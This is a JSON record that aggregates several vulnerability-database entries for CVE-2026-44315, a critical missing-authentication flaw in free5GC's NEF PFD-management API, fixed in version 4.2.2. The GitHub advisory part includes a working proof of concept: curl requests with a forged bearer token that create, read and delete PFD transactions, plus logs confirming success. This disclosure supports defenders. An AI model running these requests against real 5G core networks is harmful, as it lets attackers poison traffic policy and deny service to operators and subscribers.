{"id":"CVE-2026-44315","revision":null,"records":[{"revision":"d95bf06f37eb4bc281bd6f1332ce4cd7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44315","aliases":[],"title":"free5GC: NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T15:52:51.027+00:00","modifiedAt":"2026-05-27T17:22:44.713+00:00","affected":[{"ecosystem":"Vendor product","name":"free5gc","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"free5gc\",\n                    \"product\": \"free5gc\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.2.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf","https://github.com/free5gc/free5gc/issues/858","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44315","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44315","identifiers":["CVE-2026-44315"]},"retained":false,"historicalAffected":[]},{"revision":"b53bdf89551d4c938c0c0a1c15bfeb70","observedAt":"2026-11-09T11:03:36.29+00:00","statement":{"source":"euvd","id":"EUVD-2026-32553","aliases":["CVE-2026-44315","GHSA-5f62-53r8-qrqf"],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create,…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":null}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf","https://github.com/free5gc/free5gc/issues/858","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32553","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 3:52:51 PM","dateUpdated":"May 27, 2026, 5:22:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32553","identifiers":["EUVD-2026-32553","CVE-2026-44315","GHSA-5f62-53r8-qrqf"]},"retained":false,"historicalAffected":[]},{"revision":"31be81e331414a0d859ada9c49042715","observedAt":"2026-10-25T10:17:21.823+00:00","statement":{"source":"nvd","id":"CVE-2026-44315","aliases":[],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create,…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T17:16:36.43+00:00","modifiedAt":"2026-10-14T20:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/issues/858","https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44315","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-862"],"productCriteria":["cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-27T17:16:36.430","lastModified":"2026-10-14T20:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44315","identifiers":["CVE-2026-44315"]},"retained":false,"historicalAffected":[]},{"revision":"ce0de3c97474481b82f0bfca15e25fae","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5f62-53r8-qrqf","aliases":["CVE-2026-44315","GO-2026-5142"],"title":"free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions","description":"### Summary\nfree5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52`\n- Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13`\n- Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70`\n- POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63`\n- GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189`\n- DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.\n\n1. Seed an AF context (also accepted with forged token):\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afServiceId\":\"svc-seed2\",\"afAppId\":\"app-seed2\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.31 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-seed2\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions\n```\n\n2. CREATE PFD transaction with forged token -> `201 Created`:\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"pfdDatas\":{\"app-poc-pfd2\":{\"externalAppId\":\"app-poc-pfd2\",\"pfds\":{\"pfd-poc\":{\"pfdId\":\"pfd-poc\",\"urls\":[\"^http://poc.example.com(/\\\\\\\\S*)?$\"]}}}}}' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions\n```\n\n3. READ -> `200 OK`:\n```\ncurl -i -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n4. DELETE -> `204 No Content`:\n```\ncurl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted.\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]\n[INFO][NEF][GIN] | 201 | POST   | /3gpp-pfd-management/v1/af-poc-pfd2/transactions\n[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 200 | GET    | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.\n- Read existing PFD transactions, leaking AF-supplied policy data.\n- Delete PFD transactions, denying service to legitimately provisioned application detection rules.\n\nThe PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc <=v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/858\nUpstream fix: https://github.com/free5gc/nef/pull/23","state":0,"publishedAt":"2026-05-08T22:39:16+00:00","modifiedAt":"2026-06-25T18:56:10.8144351+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf","https://nvd.nist.gov/vuln/detail/CVE-2026-44315","https://github.com/free5gc/free5gc/issues/858","https://github.com/free5gc/nef/pull/23","https://github.com/free5gc/free5gc"],"sourceUrl":"https://github.com/advisories/GHSA-5f62-53r8-qrqf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5f62-53r8-qrqf","identifiers":["GHSA-5f62-53r8-qrqf","CVE-2026-44315","GO-2026-5142"]},"retained":false,"historicalAffected":[]},{"revision":"30ae7db9e0ed4980b50599e2ecd1b2de","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5142","aliases":["CVE-2026-44315","GHSA-5f62-53r8-qrqf"],"title":"free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions in github.com/free5gc/nef","description":"free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions in github.com/free5gc/nef","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:26.4530877+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-5f62-53r8-qrqf","https://nvd.nist.gov/vuln/detail/CVE-2026-44315","https://github.com/free5gc/nef/pull/23","https://github.com/free5gc/free5gc/issues/858"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5142","license":"OSV · upstream source license applies","key":"osv:GO-2026-5142","identifiers":["GO-2026-5142","CVE-2026-44315","GHSA-5f62-53r8-qrqf"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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